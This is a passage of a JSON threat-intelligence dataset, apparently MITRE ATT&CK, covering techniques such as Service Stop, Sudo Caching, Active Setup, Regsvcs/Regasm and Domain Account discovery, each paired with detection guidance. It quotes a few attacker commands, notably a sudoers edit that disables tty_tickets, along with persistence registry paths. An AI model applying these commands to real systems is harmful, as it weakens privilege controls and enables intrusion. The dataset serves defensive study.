                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
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            "modified": "2025-04-15T19:58:12.942Z",
            "name": "Service Stop",
            "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)",
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                    "phase_name": "impact"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, <code>ChangeServiceConfigW</code> may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_impact_type": [
                "Availability"
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            "x_mitre_data_sources": [
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                "Process: Process Termination",
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                "Process: OS API Execution",
                "Service: Service Metadata"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0",
            "created": "2020-10-01T01:33:01.433Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1587/001",
                    "external_id": "T1587.001"
                },
                {
                    "source_name": "ActiveMalwareEnergy",
                    "description": "Dan Goodin. (2014, June 30). Active malware operation let attackers sabotage US energy industry. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/"
                },
                {
                    "source_name": "FireEye APT29",
                    "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved November 17, 2024.",
                    "url": "https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "FBI Flash FIN7 USB",
                    "description": "The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022.",
                    "url": "https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:47:44.654Z",
            "name": "Malware",
            "description": "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)\n\nAs with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.\n\nSome aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Malware Repository: Malware Content",
                "Malware Repository: Malware Metadata"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302",
            "created": "2017-05-31T21:31:33.499Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1121",
                    "external_id": "T1121"
                },
                {
                    "source_name": "MSDN Regsvcs",
                    "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx"
                },
                {
                    "source_name": "MSDN Regasm",
                    "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx"
                },
                {
                    "source_name": "LOLBAS Regsvcs",
                    "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/"
                },
                {
                    "source_name": "LOLBAS Regasm",
                    "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:15.735Z",
            "name": "Regsvcs/Regasm",
            "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)",
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                {
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                    "phase_name": "defense-evasion"
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                    "phase_name": "execution"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Casey Smith"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--215d9700-5881-48b8-8265-6449dbb7195d",
            "created": "2023-03-28T20:14:49.087Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1652",
                    "external_id": "T1652"
                },
                {
                    "source_name": "lsmod man",
                    "description": "Kerrisk, M. (2022, December 18). lsmod(8) \u2014 Linux manual page. Retrieved March 28, 2023.",
                    "url": "https://man7.org/linux/man-pages/man8/lsmod.8.html"
                },
                {
                    "source_name": "Microsoft Registry Drivers",
                    "description": "Microsoft. (2021, December 14). Registry Trees for Devices and Drivers. Retrieved March 28, 2023.",
                    "url": "https://learn.microsoft.com/windows-hardware/drivers/install/overview-of-registry-trees-and-keys"
                },
                {
                    "source_name": "Microsoft EnumDeviceDrivers",
                    "description": "Microsoft. (2021, October 12). EnumDeviceDrivers function (psapi.h). Retrieved March 28, 2023.",
                    "url": "https://learn.microsoft.com/windows/win32/api/psapi/nf-psapi-enumdevicedrivers"
                },
                {
                    "source_name": "Microsoft Driverquery",
                    "description": "Microsoft. (n.d.). driverquery. Retrieved March 28, 2023.",
                    "url": "https://learn.microsoft.com/windows-server/administration/windows-commands/driverquery"
                },
                {
                    "source_name": "Linux Kernel Programming",
                    "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018.",
                    "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf"
                },
                {
                    "source_name": "modinfo man",
                    "description": "Russell, R. (n.d.). modinfo(8) - Linux man page. Retrieved March 28, 2023.",
                    "url": "https://linux.die.net/man/8/modinfo"
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            ],
            "modified": "2025-04-15T22:17:22.391Z",
            "name": "Device Driver Discovery",
            "description": "Adversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) or other defenses (e.g., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)), as well as potential exploitable vulnerabilities (e.g., [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)).\n\nMany OS utilities may provide information about local device drivers, such as `driverquery.exe` and the `EnumDeviceDrivers()` API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., [System Service Discovery](https://attack.mitre.org/techniques/T1007)) may also be available in the Registry.(Citation: Microsoft Registry Drivers)\n\nOn Linux/macOS, device drivers (in the form of kernel modules) may be visible within `/dev` or using utilities such as `lsmod` and `modinfo`.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
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                "Process: OS API Execution",
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        },
        {
            "type": "attack-pattern",
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            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1206",
                    "external_id": "T1206"
                },
                {
                    "source_name": "sudo man page 2018",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
                    "url": "https://www.sudo.ws/"
                },
                {
                    "source_name": "cybereason osx proton",
                    "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
                    "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:15:15.978Z",
            "name": "Sudo Caching",
            "description": "The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>  (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "created": "2020-02-21T21:08:26.480Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1087/002",
                    "external_id": "T1087.002"
                },
                {
                    "source_name": "CrowdStrike StellarParticle January 2022",
                    "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.",
                    "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:21:07.252Z",
            "name": "Domain Account",
            "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as <code>net user /domain</code> and <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility, <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including <code>Get-ADUser</code> and <code>Get-ADGroupMember</code> may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022)  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "ExtraHop",
                "Miriam Wiesner, @miriamxyra, Microsoft Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Network Traffic: Network Traffic Content",
                "Group: Group Enumeration"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--22522668-ddf6-470b-a027-9d6866679f67",
            "created": "2020-12-18T16:33:13.098Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/014",
                    "external_id": "T1547.014"
                },
                {
                    "source_name": "SECURELIST Bright Star 2015",
                    "description": "Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who\u2019s Really Spreading through the Bright Star?. Retrieved December 18, 2020.",
                    "url": "https://securelist.com/whos-really-spreading-through-the-bright-star/68978/"
                },
                {
                    "source_name": "Mandiant Glyer APT 2010",
                    "description": "Glyer, C. (2010). Examples of Recent APT Persistence Mechanism. Retrieved December 18, 2020.",
                    "url": "https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf"
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
                },
                {
                    "source_name": "Klein Active Setup 2010",
                    "description": "Klein, H. (2010, April 22). Active Setup Explained. Retrieved December 18, 2020.",
                    "url": "https://helgeklein.com/blog/2010/04/active-setup-explained/"
                },
                {
                    "source_name": "paloalto Tropic Trooper 2016",
                    "description": "Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved December 18, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Citizenlab Packrat 2015",
                    "description": "Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved December 18, 2020.",
                    "url": "https://citizenlab.ca/2015/12/packrat-report/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:13.464Z",
            "name": "Active Setup",
            "description": "Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under <code> HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\</code>.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Creation",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
            "created": "2020-02-26T17:41:25.933Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564",
                    "external_id": "T1564"
                },
                {
                    "source_name": "Cybereason OSX Pirrit",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
                },
                {
                    "source_name": "MalwareBytes ADS July 2015",
                    "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
                    "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                },
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:39:52.216Z",
            "name": "Hide Artifacts",
            "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Office Suite",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "File: File Metadata",
                "Application Log: Application Log Content",
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Modification",
                "Firmware: Firmware Modification",
                "Service: Service Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Script: Script Execution",
                "User Account: User Account Creation",
                "Process: OS API Execution",
                "User Account: User Account Metadata",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
            "created": "2020-02-12T14:10:50.699Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1559/002",
                    "external_id": "T1559.002"
                },
                {
                    "source_name": "OWASP CSV Injection",
                    "description": " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022.",
                    "url": "https://owasp.org/www-community/attacks/CSV_Injection"
                },
                {
                    "source_name": "CSV Excel Macro Injection ",
                    "description": " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022.",
                    "url": "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/"
                },
                {
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
                },
                {
                    "source_name": "SensePost PS DDE May 2016",
                    "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
                    "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Kettle CSV DDE Aug 2014",
                    "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
                    "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"
                },
                {
                    "source_name": "Microsoft ADV170021 Dec 2017",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"
                },
                {
                    "source_name": "Microsoft DDE Advisory Nov 2017",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "url": "https://technet.microsoft.com/library/security/4053440"
                },
                {
                    "source_name": "Enigma Reviving DDE Jan 2018",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
                },
                {
                    "source_name": "NVisio Labs DDE Detection Oct 2017",
                    "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
